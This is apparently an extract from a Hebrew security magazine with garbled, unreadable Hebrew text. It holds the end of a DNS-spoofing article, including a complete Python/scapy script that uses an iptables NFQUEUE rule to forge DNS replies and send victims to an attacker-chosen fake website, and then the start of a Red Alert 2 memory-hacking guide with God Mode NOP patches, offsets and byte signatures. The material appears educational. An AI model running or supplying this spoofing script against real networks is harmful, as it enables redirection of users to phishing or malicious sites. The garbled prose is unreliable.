ˢ ˸˦˵˞˲˟-ICMP ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ-src ˟˪ ˧ˡ˩˟ .˨˶ˡˢ ˨˶ˣ˞˪ ˸˷˶˟ ˸ˣ˧ˣ˷˧ ˪˷ ˸ˣ˟ˣ˸˩ ˶˶˟˪ ˭˞˩ˬˣ ˶˶

ˢ ˸˦˵˞˲ ˪ˣ˪˯ˬ ˸˞-DNS ˬ˩ ˥ˣ˪˷˪ ˪˩ˣˮ ,ˣˮ˪˷ ˸ˣ˦˵˞˲ ˪˷ ˢ˪ˣˡˠ ˸ˣDNS  ˨˶˰ ˸˥˞ ˪˩˪ ˶˷˞˩TTL 

.ˣ˸ˣˢˤ ˸˞ ˱ˣ˷˥˧ˣ ˢ˟ˣ˷˸ ˣˮ˪ ˶˧ˤ˥˧ ˨˶ˡˢ ˨˶ˣ˞˪ ˶˥˞ ˸˶˷ ˫˰˲ ˪˩˟˷ ˨˩ ,ˢˮˣ˷ 

 

 ˶ˣ˧˞]2.2 :ˢ˴˶˲ˢ ˶ˣ˞˧˸[ 

 ˸ˣ˟ˣ˸˩ ˸ˣˢˤ˪ ˪˩ˣˮIP  ˟ˣ˸˩ ˧˪˩˟ ˷ˬ˸˷ˮ .˸˪˰ˣ˲ ˢ˲˵˸ˬ ˪˰ ˵˧˯ˢ˪ˣ ˨˶ˡˢ ˨˶ˣ˞˪ ˸ˣˡˣ˷˥ ˣ˞ ˸ˣ˧˦˶˲

 ˞˶˵ˮ˷ ˭ˣ˸˧˧˲˟DNSdiag (˶ˬ˞ˬˢ ˱ˣ˯˟ ˶ˣ˷˧˵), ˫˩˪˷ˬ ˡ˥˞ ˟ˣ˸˩˪ ˭ˣ˶˵˰ ˣ˸ˣ˞ ˪˰ ˫˧ˮˬˤˣˬ: 

 

ˢ ˸˟ˣ˸˩ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ-IP ˢ ˸ˣ˸˪˧˞˷ ˶ˬˣ˪˩ ,˪ˣ˪˯ˬ˟ ˱˵ˣ˸ˢ ˪˷-DNS  ˢ˶˵ˬ˟ ,˥ˣ˦˟ˢ ˭˪ˣ˪˯ˬˬ ˣˠ˶˥

!ˢ˲˵˸ˬ ˸˥˸ ˣˮ˞˷ ˫˧˧ˣ˩˧˯ˢ ˟ˣ˶ ˢˤ˩ 
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˫ˣ˩˧˯˪ 

ˢ ˪ˣ˵ˣ˦ˣ˶˲-DNS  ,ˣ˸ˣ˩ˤ˟ .ˣˮ˪˷ ˦ˮ˶˦ˮ˧˞ˢ ˸˞ ˸ˣ˟˧˩˶ˬˢ ˶˸ˣ˧˟ ˸ˣ˟ˣ˷˥ˢ ˭˧˧ˮ˟ˢ ˧ˮ˟˞ˬ ˸˥˞ ˸˞ ˢˣˣˢˬ

 ˢ˵ˣ˪ ˦˰ˬ ˞ˣˢ˷ ˶ˬˣ˪ ˭˸˧ˮ ,ˢ˥˦˟˞˪ ˰ˠˣˮ˷ ˢˬ ˪˩˟ ,˨˞ .˧˟˧˦˧˞ˣ˦ˮ˧˞ˣ ˷˧ˠˮ ˢ˷˰ˮ ˦ˮ˶˦ˮ˧˞˟ ˷ˣˬ˧˷ˢ

˸˧˦˶˲ ˸˷˶˟ ˫˧˷ˬ˸˷ˬ ˱˧˵˸ˢ˪ ˭˸˧ˮ ˡ˴˧˩ ˣˮ˧˞˶ .˶˯˥˟  ˸ˣˬˣ˷˶ ˸˵˶ˤˢ ˧"˰ (ˢ˪ ˢ˴ˣ˥ˬˣ)DNS  .˸ˣ˟ˤˣ˩

ˬ˪˫˧˪ˣ˩˧ ˫˧˶˸˞ ˧˪˰˟ˣ ˢ˴˵ˢ ˧˷ˬ˸˷ˬ ,ˣˮ˞ ˡ˴˧˩ ˣˮˡ  ˷ˣˬ˧˷ ˫˪ˣ˩˪ ˪˥˞ˬ .˸ˣ˥ˣ˵˪ˢ ˪˰ˣ ˣˮˬ˴˰ ˪˰ ˭ˠˢ˪

!˭ˣ˟ˮˣ ˫˧˰ˮ 

 

˪˰ ˶˟˥ˬˢ 

 ˭˟ ˦˰ˬ ˡˣ˰ ,ˣ˪˷ ˶ˬˣ˰ ˧ˬ˷16 ˧ˮˬˤ˟ˣ ,ˢ˥ˣ˸˲ˢ ˢ˦˧˯˶˟˧ˮˣ˞˟ ˟˷˥ˬˢ ˧˰ˡˬ˟ ˭ˣ˷˞˶ ˶˞ˣ˸˪ ˡˬˣ˪ ˧ˮ˞ .

˰ˡ˧ˬ ˸˥˦˟˞˟ ˵˯˰˸ˬ ˧ˣˮ˲ˢ ˟ ˱˸˸˷ˬˣ-CTF- ˸ˣ˟˶ ˧˸˶ˤ˰ˮ .˫˧ˬ ˭˩ˣ˸˟ˣ ˫˧˶ˬ˞ˬ˟ˢ ˥ˬ˷ ˧ˮ˞ˣ ,˭˧ˤˠˬ

!˫˸˧ˮˢˮ˷ ˢˣˣ˵ˬ .ˢ˶ˤ˥˟ ˣ˪ ˫ˣ˶˸˪ ˧˸˪ˣ˩˧˟˷ 

˪˧˧ˬ˟ ˶˷˵ ˧˸˧˞ ˶ˣ˴˧˪ ˭˸˧ˮ omerdeshalev@gmail.com 

 

ˢ˞˧˶˵˪ ˸˲˯ˣˮ 

¶ s-Man Page ˪˷ Iptables: 

http://ipset.netfilter.org/iptables.man.html  

¶ ˳˪ˬˣˬ ˞ˣ˶˵˪ ˧ˮ˲˪ ˸˪˧˥˸ ˷ˣˬ˧˷ˢ ,-sDocumentation ˪˷ NetfilterQueue: 

https://pypi.org/project/NetfilterQueue 

¶ s-RFC ˪˷ ˪ˣ˵ˣ˦ˣ˶˲ s-DNS: 

http://www.ietf.org/rfc/rfc1034.txt  

https://www.ietf.org/rfc/rfc1035.txt 

¶ s-RFC ˪˷ ˪ˣ˵ˣ˦ˣ˶˲ s-HSTS: 

https://tools.ietf.org/html/rfc6797 

¶ ˧˪˩ s-DNSdiag ˟-github: 

https://github.com/farrokhi/DNSdiag 

¶ "˞ˮ ˶˧˩ˢ˪ ,˷˧˞ˢ ˰˴ˬ˞˟˷ ,"˸˞ˬ ˪˞˧ˤ˶ ˶˵˟ ,˭ˣ˧˪˧ˠ 69 ,˶˞ˣ˟˲ 2016: 

https://www.digitalwhisper.co.il/files/Zines/0x45/DW69-2-TheMItM 

¶ "DNS CACHE POISONING ,"˸˞ˬ ˵˧˲˞ ˪˞˧˦˯˵ ,˭ˣ˧˪˧ˠ 2: 

https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-7-DNS-Cache-Poisoning 

mailto:omerdeshalev@gmail.com
http://ipset.netfilter.org/iptables.man.html
https://pypi.org/project/NetfilterQueue
http://www.ietf.org/rfc/rfc1034.txt
https://www.ietf.org/rfc/rfc1035.txt
https://tools.ietf.org/html/rfc6797
https://github.com/farrokhi/dnsdiag
https://www.digitalwhisper.co.il/files/Zines/0x45/DW69-2-TheMItM
https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-7-DNS-Cache-Poisoning
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 '˞ ˥˲˯ˮ- ˞˪ˬˢ ˡˣ˵ˢ 

__author__ = 'Omer Shalev'  

 

from  netfilterqueue import  NetfilterQueue  

from  scapy . all import  UDP,  DNSRR,  DNS,  IP  

import  sys ,  os  

 

localIP = str ( input ( "Fake Website's Adress: " ))  

os . system ( "sudo iptables - I FORWARD - p udp -- sport 53 - d {} - j NFQUEUE -- queue - num 

1" . format ( sys . argv [ 1]))  

 

def  print_and_send ( pkt ):  

        payload = pkt . get_payload ()  

    scapy_packet = IP ( payload )  

 

    #Check if it is a dns packet  

    if  scapy_packet . haslayer ( UDP)  and  scapy_packet . getlayer ( UDP). sport == 53:  

         

        #Print some details  

        print ( "DNS packet in port "  + str ( scapy_packet . getlayer ( UDP). dport )  + " ID : " +  

             str ( scapy_packet [ DNS]. id )+  " "  +  

             str ( scapy_packet [ IP ]. src )  + "=> " + str ( scapy_packet [ IP ]. dst )  +" " +   

             str ( scapy_packet [ DNS]. qd. qname. decode ( 'utf - 8' )))  

        

        #Create the spoofed packet  

        Spoofed =  

          IP (  

            dst = scapy_packet [ IP ]. dst ,  

            src = scapy_packet [ IP ]. src  

          )/  \  

          UDP(  

            dport = scapy_packet . getlayer ( UDP). dport ,  

            sport = scapy_packet . getlayer ( UDP). sport  

          )/  \  

          DNS(  

            id = scapy_packet [ DNS]. id ,  

            qr = 1,  

            aa = 1,   

            qd = scapy_packet [ DNS]. qd ,   

            an = DNSRR( rrname = scapy_packet [ DNS]. qd. qname,  ttl = 19,  rdata =  localIP )  

          )  

 

        #Set the new payload into  the original packet  

        #Remember: the payload has to be in bytes!  

        pkt . set_payload ( bytes ( Spoofed ))  

 

        #Accept the packet  

        pkt . accept ()  

 

    else :  

        # Not a dns packet  

        pkt . accept ()  

 

nfqueue = NetfilterQueue ()  

nfqueue . bind ( 1,  print_and_send )  

 

try :  

    print ( "Waiting for data" )  

    nfqueue . run ()  

 

except  KeyboardInterrupt :      

    print ( 'KeyBoard Interrupt! \ n Exiting...' )  
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Hacking Games for Fun and Profit: Red Alert 2 

˵˪˥ ˞' 

 ˸˞ˬd4d 

 

ˢˬˡ˵ˢ 

˶ˬ˞ˬ ˢˤ ˵˯ˣ˰ ˥ˣ˸˧ˮ˟ ˵˥˷ˬˢ Red Alert 2 ,˶˦ˬ˧˸ ˶ˬ˞ˬ˟ ˢˤ ˞˧ˢ  ˵˥˷ˬˢ ˪˰ ˧˸˰˴˧˟˷ ˶˵˥ˬ ˠ˧˴ˢ˪

ˣ˶˧˟˯ˢ˪ ˡ˴˧˩ ˷˧ ˸˷ˠ˪ ˸˶˧˵˥˪ ˵˥˷ˬ ˟˷˥ˬ x˞ ˢˮ˩ˣ˸ ˢ˪ˣˡˠ  ˪˪˩ ˨˶ˡ˟˷˭˧˞ ˢ˟ ˫˧˪ˣ˟ˬ˧˯ ˣ˲˪ˡˣˢ˷ 

˸ˣ˰˦˟ ˦ˮ˶˦ˮ˧˞˪ ,˨˧˞ ˷ˬ˸˷ˢ˪ ˰ˡ˧ˬ˟ ˣ˸ˣ˞ ˫˧˶˵ˣ˥ ˪˧˟˷˟ ˟ˣ˸˩˪ ˶ˮ˧˧˶˦3 ˫˧˶ˤ˰ˣ ˫˧˲˯ˣˮ ˵˥˷ˬ˪, 

ˣ˪˩ˣ˧˷ ˸ˣˮ˷˪ ˫˧˶˟ˡ ˬ˧˪˟ ˷˧˷ ˢ˷˧ˠ ˡˣ˵˪ .˶ˣ˵ˬˢ 

 

ˬ˞ˬ.˞˷ˣˮ˟ ˫˧˶ˬ˞ˬ ˸˶ˡ˯ˬ ˭ˣ˷˞˶ ˵˪˥ ˣˮ˧ˢ ˢˤ ˶ ˵˪˥ ˢˤ ˶˟ˡ˧ ˪˰ ˫˧˞˷ˣˮˢ ˫˧˞˟ˢ: 

¶  ˵˥˷ˬˢ ˪˷ ˢ˶˧˥˟˪ ˢ˟˧˯ˢRed Alert 2 

¶ ˶˵˥ˬˢ ˸˞ ˰˴˟˪ ˪˧˟˷˟ ˨˧˶˴ ˫˧˪˩ ˢˤ˧˞ 

¶  ˢ˟˧˸˩ˢ ˸ˮ˧˥˟ˬ ˵˥˷ˬ˟ ˧ˤ˩˶ˬ ˡˣ˞ˬ ˶˟ˡ ˸ˣ˪ˠ˪ ˧˸˥˪˴ˢ ,˸˥˞ ˢ˦ˣ˷˲ ˢ˵˧ˡ˟ ˸˶ˤ˰˟ ˨˧˞

˸˧˸ˣˮ˩˸ˢ 

¶  ˣ˪˞ˠ ˫˧˶˟ˡˢ˩ ˡ˰ ˧˸˧˪˧ 

¶ ˵ˬˣ˰˪ ˵˥˷ˬ˟ ˸ˣˠ˶ˡˢ ˥ˣ˸˧ˮ 

 

˫˧˵˪˥˟ ˫˧˞˟ˢ ˶˟ˡˮ ˦˶ˣ˲ˬ˟ ˪˰ ˫˧˶˟ˡˢ ˫˧˞˟ˢ: 

¶ ˢ˞˶ˮ ˢ˲ˬˢ ˪˩ ˸˞ ˸ˣ˪ˠ˪ ˨˧˞ ˸˦˶ˣ˲ˬ ˢ˶ˣ˴˟ 

¶  ˢˮ˟ˮ.˵˥˷ˬ˟ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˸˞ ˸ˣˮ˷˪ ˭˸˧ˮ ˢ˧ˢ˧ ˣ˸˶ˤ˰˟˷ ˶ˮ˧˧˶˦ 

 

 

 

 

                                                           
 

3 ˶ˮ˧˧˶˦ - ˢˮ˩ˣ˸ ˸˧ˮˣ˴˧˥ ˢ˵˧˶ˤˬ˷ ˡˣ˵ ˵˥˷ˬ˪ ˢ˸˶ˤ˰˟˷ ˭˸˧ˮ ˸ˣˮ˷˪ ˸˞ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˵˥˷ˬ˟. 
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˪ ...ˤ˞ ˢˬRed Alert 2? 

Red Alert 2  ˸ˮ˷˟ ˞˴˧˷ ˟˷˥ˬ ˵˥˷ˬ ˞ˣˢ2000  ˸˶˟˥ˬWestwood Studios  ,˫ˣ˧ˢ ˢ˪˧˰˲ ˞˪ ˶˟˩˷

) ˸ˬ˞ ˭ˬˤ˟ ˢ˧ˠ˦˶˦˯˞ ˵˥˷ˬRTS .(˶˟˪ ˢˮ˸ˬ ˣ˸ˣ˞ ˧˸˪˟˧˵- ˢˣˣ˴ˬ ,˧˪˷ ˧˩ˢ˷ ˫˧˵˥˷ˬˢ ˡ˥˞ ˢˤˣ

 ˳ˣ˥) ˧˸˟ˢ˞-ˬWorms.ˡ˟ˣ˰ ˞ˣˢ ˨˧˞ ˭˧˟ˢ˪ˣ ˢˤˢ ˵˥˷ˬˢ ˸˞ ˶ˣ˵˥˪ ˪ˠ˰ˬ ˸˶˧ˠ˯ ˣˤ ˧˪˧˟˷˟ˣ ( 

 ,˱˯ˣˮ˟ ˢ˶ˣ˴˟ ˢ˞˶ˬ ˢˤ ˵˥˷ˬˢ˪ˣ˰ˬ ˟˸˩ˮ˷ ˫˧˶˴ˣˬ ˶ˣ˵˥˪ ˨˧˞ ˫˰ ˣOOP ˷ ˧ˮ˲ˬ˟ ˟˸˩ˮ ˞ˣˢ-C++. 

˫˧˪˩ ˨˧˶˴˷ ˪˧˟˷˟ ˰˴˟˪ ˸˞ ˶˵˥ˬˢ 

 ˨˶˦˴ˮ˶˲˯ˬ  ˫˧˪˩˸ˮˬ ˪˰ :˶˵˥ˬˢ ˸˞ ˪˧˥˸ˢ˪ 

1( VMWare -  ˢ˟ ˷˧˷ ˸˶˥˞ ˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ ˣ˞Windows 7  ˣ˞XP 

2( Ollydbg - ˡˣ˵ˢ ˸˞ ˶ˣ˵˥˪ ˣˮ˪ ˶˷˲˞˧˷ ˶˪˟ˬ˯˞˯˧ˡ / ˶ˠ˞˟˧ˡ 

3( CheatEngine -  ˧ˮ˧ˬ ˪˩˪ ˫˧˰˧˟˴ˬ ˞ˣ˴ˬ˪ ˶ˣˤ˰˪ ˪ˣ˩˧ ˢˤˣ ˭ˣ˶˩˧ˤ˟ ˸ˣ˟ˣ˸˩ ˞ˣ˴ˬ˪ ˸˶ˤˣ˰˷ ˢˮ˩ˣ˸ ˣˤ

˫˧ˮ˧˧ˮ˰ˬ ˫˧˶˟ˡ ˷ˬ˷ˬ ˪"ˮˢ ˧˪˩ˢ . ˵˶ ˞˪ ˶˵˥ˬ ˸˰˟.˸ˣˮ˩ˣ˸˪ ˫ˠ ,˟˷˥ˬ ˧˵˥˷ˬ 

 ˶ˣ˴˧˵˟ ˷ˬ˸˷˞ ˶ˬ˞ˬˢ ˨˷ˬˢ˟*CE  ˵˶ˣ˯ ˪˰ ˶˟ˡˬ ˧ˮ˞˷ ˭˧˧˴˪ ˧ˡ˩ˢ.˫˧ˮ˸˷ˬ 

4( Notepad++ -  ˷ˬ˸˷ˢ˪ ˨˩ ˶˥˞ ˪˩ˣˮ˷ ˧ˡ˩˟ ˫˧˧˸ˮ˧˟ ˣˮ˞˴ˬ˷ ˫˧˶˟ˡˢ ˪˩ ˸˞ ˡ˰˸ˮ ˢ˟˷ ˢˮ˩ˣ˸

.˵˥˷ˬ˟ ˫˧ˮ˧˧ˮ˰ˬˢ ˫˧˶˟ˡˢ ˸˞ ˢˮ˷˧˷ ˶ˮ˧˧˶˦ˢ ˸˞ ˟ˣ˸˩˪ ˪˧˟˷˟ ˞˴ˬˮ˷ ˰ˡ˧ˬˢ ˪˩˟ 

 

˵˥˷ˬ˟ ˧ˤ˩˶ˬ ˡˣ˞ˬ ˶˟ˡ ˧˸˧˪˧ˠ ˸˥˞ ˢ˵˧ˡ˟ ˸˶ˤ˰˟ ˨˧˞ 

 

˶˴ˣ˧ ˧ˮ˞ ˨˧˞ ˭ˣ˷˞˶ ˶˟ˡ ˵ˣˡ˟˪ ˧˸˧˴˶ ,˵˥˷ˬˢ ˸˞ ˶ˣ˵˥˪ ˧˸˪˥˸ˢ˷˩  ˪˷ ˟˴ˬGod Mode -  ˣ˥˧˪˴˧ ˞˪˷

ˡ˧ˬ˷ˢ˪  ˫˧˵ˮ˦ ˧˪ˣ˞  ˫˧˪˧˧˥ˢˢˬ˧˪˷ ˞˟˴ ˵˥˷ˬ˟. ˟ ˢ˵˧˶˯ ˧˸˰˴˧˟-CE :˞˟ˢ ˢ˶ˣ˴˟ ˧˪˷ ˵ˮ˦ˢ ˪˰ 
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 ˰ˡˣ˧ ˧ˮ˞"˷ ˪˷ "ˣ˧˧˥ ˪˷ ˵ˮ˦ ˪˩Allies ˟ ˪˧˥˸ˬ-300 ˪˧˧˥ ˫˰ ˣ˧˪˰ ˧˸˧˶˧ ˤ˞ˣ ˢˤˢ ˨˶˰ˢ ˸˞ ˧˸˷˲˧˥ ˤ˞ ,

 ˨˶˰ˢ ˫ˢˬ ˡ˶˧˷ ˫˧˩˶˰ˢ ˪˩ ˸˞ ˧˸˵ˡ˟ˣ ˧˪˷ ˶˥˞:ˢ˞˟ˢ ˢ˞˴ˣ˸˪ ˣˮ˰ˠˢˣ 

 

˧˲˪ sCE- ˧ ˷2  ˶ˣ˴˧˪ ˪˧˟˷˟ ,˵ˮ˦˪ ˫˧˩˧˧˷ˢ ˫˧˩˶˰God Mode  ˸ˣ˷˰˪ ˭˸˧ˮ˶˲˯ˬ ˵ˮ˦ ˪˰ ˫˧˶˟ˡ  ˧˲˧˴˲˯

˟ ˫˸ˣ˞ ˫˧˷˞ˣ ˫ˢ˧ˮ˷ ˪˷ ˫˧˩˶˰ˢ ˸˞ ˶ˣˬ˷˞˷ ˶ˬˣ˞ ˢˤ˷-freeze :ˢ˞˟ˢ ˢˮˣˬ˸˟ ˣˬ˩ 

 

.˫˧˧˥ ˣ˪ ˣˡ˶˧ ˞˪ ˢ˧˧˶˧ ˠˣ˲˯˧ ˵ˮ˦ˢ˷ ˫˰˲ ˪˩ ˤ˞ˣ 

 

 ˧˸˧˯˧ˮ ˭˩ˬ ˶˥˞˪,˫˧˧˥ ˡ˧˶ˣˬ˷ ˡˣ˵ˢ ˸˞ ˪˦˟˞ˣ ˡˣ˵˟ ˫˧˧˥ˢ ˫˧ˡ˶ˣ˧ ˢ˲˧˞ ˵ˣˡ˟˞ ˫˞ ˢ˶˵˧ ˢˬ ,˟ˣ˷˥˪ 

?ˤ˞ ˢ˶˵˧ ˢˬ 
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 ˫˧ˬ˷ ˢ˩˩HW BP  ˟-Ollydbg  ˷˧˷˩ ˢ˶ˣ˵ ˢˬ ˵ˣˡ˟˪ ˭˸˧ˮ ˢ˩˩ˣˢ˟˧˸˩ ˫˧˧˥ˢ ˪˷ ˢˮ˸˷ˬ˪: 

 

 ˰˦˵ ˢˤˢ˟ ˞˴ˬˮ ˫˧˧˥ˢ ˪˷ ˢˮ˸˷ˬ˷ ˫˧˞ˣ˶˷ ˢˤˬ  ˳ˣ˥ ,ˣ˧˪˞ ˣˮ˰ˠˢ˷ ˡˣ˵-Offset 0x6C. ˢˮ˟ˬ ˨ˣ˸˟ 

.˪˧˧˥ˢ ˪˷ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˪˧˩ˬ˷ ˶˸ˣ˧ ˪ˣˡˠ  ˫˧˷ˮ ˫˞ ˢ˶˵˧ ˢˬNOP ?ˣˤˢ ˢˡˣ˵˲˟ 

 

 ˸˞ ˧˸˥˪˷˩˫˧˵ˮ˦ ˢˮˣ˟ˢ ˪˰ ˧˪ ˸ˣ˶˧˪ ˫˧˵ˮ˦ˢ ˪: 

 

 ˫˰ ˫ˢ ˫˧˵ˮ˦ˢ ˵˶ ˞˪˷ ˢ˞ˣ˶ ˧ˮ˞ˣGod Mode .˪˩ˢ ˫˴˰˟ ,˫˧˪˧˧˥ˢˣ ˫˧ˮ˧˧ˮ˟ˢ ˫ˠ ˞˪˞  ˞˟˴ˢ ˵˶ ˞˪ˣ

 ˢ˧ˢ˧ ˟˷˥ˬˢ ˪˷ ˞˟˴ˢ ˫ˠ ˧˪˷God Mode ˷ ˧ˣˮ˧˷ˢ ˸ˣ˟˵˰˟ ˪-s3  ˢ˪˞ˢ ˫˧ˡˣ˵˲ˣ˞-˪NOP. 

ˢ˵˪˥ˬ ˢ˸ˣ˞ˬ ˫˧˷˶ˣ˧ ˵˥˷ˬ˟ ˫˧˯ˣ˦ˬˣ ˫˧˪˧˧˥ ,˫˧˵ˮ˦ ,˫˧ˮ˟ˬˢ ˪˩˷ ˧˸ˮ˟ˢ ˣˤ ˢ˦ˣ˷˲ ˢ˪ˣ˰˲ ˸ˣ˩ˤ˟ ˤ˞ˣ 

 ˢ˧˴˵ˮˣ˲ ˢ˸ˣ˞˪ ˫˧˷ˠ˧ˮ ˫˪ˣ˩ˣ˫ˢ˪ ˸ˡ˶˪ ˶ˣˬ˞˷˩ "˫˧˧˥".  ˷˧˪˷ ˡˣ˞ˬ ˟˶ ˶˲˯ˬ ˢ˵˪˥ˬ ˪˩˪ ˸ˣ˧˴˵ˮˣ˲, 

 ˸ˣ˧˪˞ˣ˦˶˧ˣ ˭˵˪˥) ˠˣ˯ ˧˲˪ ˦˵˧˧˟ˣ˞ˢ- ˵ˮ˦  /˭˧˧ˮ˟ / ˪˧˧˥  /˯ˣ˦ˬ( ˭s ˰ˡˣ˧˸ˣ .˸˷ˠ˪ ˢ˧˴˵ˮˣ˲ ˢˤ˧˞˪ 

 

ˣ ˪˷ ˧ˣˮ˧˷ ˧ˡ˧ ˪˰ ˵˶ ˣˮ˧˪˧ˠ ˢˤ ˪˩ ˸˞3 ˪ ˫˧ˡˣ˵˲ˣ˞-NOP. 
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ˢ˩ ˡ˰ ˧˸˧˪˧ˠ˷ ˫˧˶˟ˡ 

ˢ ˫˰ ˭˧˧ˮ˰ˢ ˶˥˞˪ ˧˸˧˪˧ˠ˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢ-God Mode ˢ ˸˞ ˢˤ-Offset ˟ "˫˧˧˥ˢ ˟˴ˬ" ˪˷- 0x6cˣ˟-

0x70 ˧˸ˬ˷ˣ "˫˧˧˥ˢ ˟˴ˬ" ˸˞ ˧˸˞˴ˬ˷ ˶˥˞˪ .HW BP  ˪˰ ˸˶˟ˣ˰˷ ˢ˞˪ˣ˪˪ ˰˧ˠˢ˪ ˧˸˥˪˴ˢ ˸˟ˣ˸˩ˢ ˪˰

:˞˟ˢ ˢˮ˟ˬ˪ ˰˧ˠˢ˪ˣ ˵˥˷ˬ˟ ˸ˣˡ˧˥˧ˢ ˪˩ 

 

struct  arrOfallUnits  

{  

    void  * vTable ;  

    void  * arrOfUnits ;  

    DWORD unk;  

    DWORD unk1;  

    DWORD numOfUnits ;  

}  
 

˟ ˫˧˶ˬ˷ˮ ˣ˪˷ "˫˧˧˥ˢ ˟˴ˬ" ,˭˧˧ˮ˟˟ ˶˟ˣˡˬ ˫˞˷ ˧˸˞˴ˬ-3 ˫˧˞˟ˢ ˦˯˲ˣ˞˟ ˫˧ˮˣ˷ ˸ˣˬˣ˵ˬ: 

 

 

5000  - .˧˸˰˟˧˵ ˧ˮ˞˷ ˶˲˯ˬ ˢˤ 

˟ ,˟ˠ˞-CE  ˸˞ ˠ˧˷ˢ˪ ˶˷˲˞ ˭˩˶ˡˣ ,ˡ˧ˬ˸ ˸ˣ˶ˬ˷ˮ ˸ˣ˧˦˦˯ ˸ˣ˟ˣ˸˩ .˵ˣ˶˧ ˰˟˴˟ ˸ˣ˰ˣ˟˴ ˸ˣ˧˦˦˯ ˸ˣ˟ˣ˸˩

 ˢ˴˶ˮ ˭˩˪ˣ ˢ˴˧˶˪ ˢ˴˧˶ ˭˧˟ ˸ˣˮ˸˷ˢ˪ ˫˧˪ˣ˪˰ ˫˧˰˧˟˴ˬ .˵˥˷ˬˢ ˪˷ ˷ˡ˥ˬ ˢ˴˧˶ ˪˩˪ ˣˡ˟˰˧˷ ˫˧˰˧˟˴ˬˢ

.˫˧˰ˣ˟˵ ˣ˶˞˷˧˧ˣ ˣˮ˸˷˧ ˞˪˷ ˫˧ˮ˸˷ˬ ˞ˣ˴ˬ˪ 

˟˷ ˰˧˟˴ˬ ˶ˬ˷ˮ-Offset 0x4eec ˷˧˷ ˟ˢˤˢ ˸ˣˬ˩ ˸˞ ˪˧˩ˬ :˧˪ 

[8339f0]+4eec = my gold 
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:˦˵˧˧˟ˣ˞ ˪˷ ˠˣ˯ ˣ˸ˣ˞˪ ˫˧ˮ˟ˬ ˪˷ ˨˶˰ˬ ˵˧ˤ˥ˬ ˫ˢˬ ˡ˥˞ ˪˩˷ ˢ˧˴˵ˮˣ˲ ˸ˬ˧˧˵ 

 

˟ .˫˧˯ˣ˦ˬˣ ˫˧ˮ˧˧ˮ˟ ,˫˧˵ˮ˦ ,˫˧˪˧˧˥ :˧˲˪ ˫˧˵˪ˣ˥ˬ ˫ˢ .˵˥˷ˬ˟ ˫˧˦˵˧˧˟ˣ˞ ˪˷ ˫˧ˠˣ˯ ˢ˰˟˶˞ ˷˧-Red 

Alert 2  ˫ˠ ˷˧4 .˫˧˦˵˧˧˟ˣ˞ ˫˧˶˴ˣˮ ˫ˢ˟˷ ˸ˣˬˣ˵ˬ ˧˶˴ˣˮ ˣˤˢ ˢ˧˴˵ˮˣ˲˟ ˸˞˴˵ˢˣ ˵˥˷ˬ˟ ˫˧˪˧˧˥ˢ ˪˩ ˫

:ˢˣˣ˷ ˭ˢˬ ˸˥˞ ˪˩ ˪˷ ˭ˣ˶˩˧ˤ 
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ˢ ˪˰ ˷ˣ˲˧˥ ˰˴ˣ˟ ˫˧˯ˣ˦ˬˢˣ ˫˧ˮ˧˧ˮ˟ˢ ,˫˧˵ˮ˦ˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩˟-*AoB ˞˟ˢ: 

56 8B F1 68 ?? ?? ?? ??  E8 ?? ?? ?? ?? 83 C4 04 85 C0 74 11 8B 4C 24 08  

51 56 8B C8 E8 ?? ?? ?? ?? 5E C2 04 00 33 C0 5E  C2 04 00 

* AoB - array of bytes 

.˦˵˧˧˟ˣ˞˪ ˢˮˣ˷ ˪ˡˣˠ ˢ˴˵ˣˬ ˢ˧˴˵ˮˣ˲ ˪˩˟ 

 ˪˰ ˶˵˥ˬ ˰˴˟˪ ˧˸˪˥˸ˢ˷˩RedAlert 2  ˪˧˧˥ˣ ˵ˮ˦ ˪˩ ˞˧˴ˣˢ˪ ˪˩ˣ˞˷ ˟˴ˬ˪ ˰˧ˠˢ˪ ˢ˸˧˧ˢ ˧˪˷ ˢ˶˦ˬˢ

.˫˧ˮ˧˧ˮ˰ˬ ˫˧˶˟ˡ ˡˣ˰ ˧˸˧˪˧ˠ ˧ˡ˩ ˨ˣ˸ ˨˞ ,ˣ˪˷ ˶ˣ˴˧˧ˢ ˸˰˟ ˭˧˴˵ ˸ˠ˶ˡ˟ 

˟˷ ˧˸˧˪˧ˠ-Offset 0x374  ˨˶˰ˢ ˫˞1 ˣ ˧˪ ˨˧˧˷ ˞˪˷ ˪˧˥˟ ˶˟ˣˡˬ˷ ˶ˬˣ˞ ˢˤ-0  ˧˪ ˨˧˧˷˷ ˪˧˥ ˶ˣ˟˰

:˵˥˷ˬ˟ 

 

 ˢˮ˷˞ ˫˞ .ˤ˧ˤˢ˪ ˧ˡ˩ ˫˸ˣ˞ ˸ˣˮ˷˪ ˵˧˲˯ˬ ˞˪ ˨˞ ,˵˥˷ˬ˟ ˭˵˥˷ˢ ˪˷ ˫˧ˬˣ˵˧ˬˢ ˫˧˰˟˵ˮ ˢ˲˧˞ ˫ˠ ˧˸˧˪˧ˠ

 ˫˧˩˶˰ˢ .˭ˣ˟˷˥˟ ˸˥˵˪ˣ ˸ˣˮ˷˪ ˨˧˶˴˷ ˫˧˶˟ˡ ˡˣ˰ ˷˧ ˧˩ ˯ˣ˶˵˪ ˪ˣ˪˰ ˵˥˷ˬˢ ˪˟˞ ˣˤˣˤ˧ ˫ˮˬˣ˞ ˫ˢ ˫˸ˣ˞

ˤ˧ ˢˬ ˫˧˰˟ˣ˵˷˟ ˫˧˞˴ˬˮ ˤˣ-Offset :˫˧˞˟ˢ 

 

˟ ˞˴ˬˮ˷ ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˨ˣ˸˟ ˫ˣ˵ˬ ˡˣ˰˟ ˫˧˶ˬ˷ˮ ˫˧ˬˣ˵˧ˬˢ-Offset 0x564: 

 

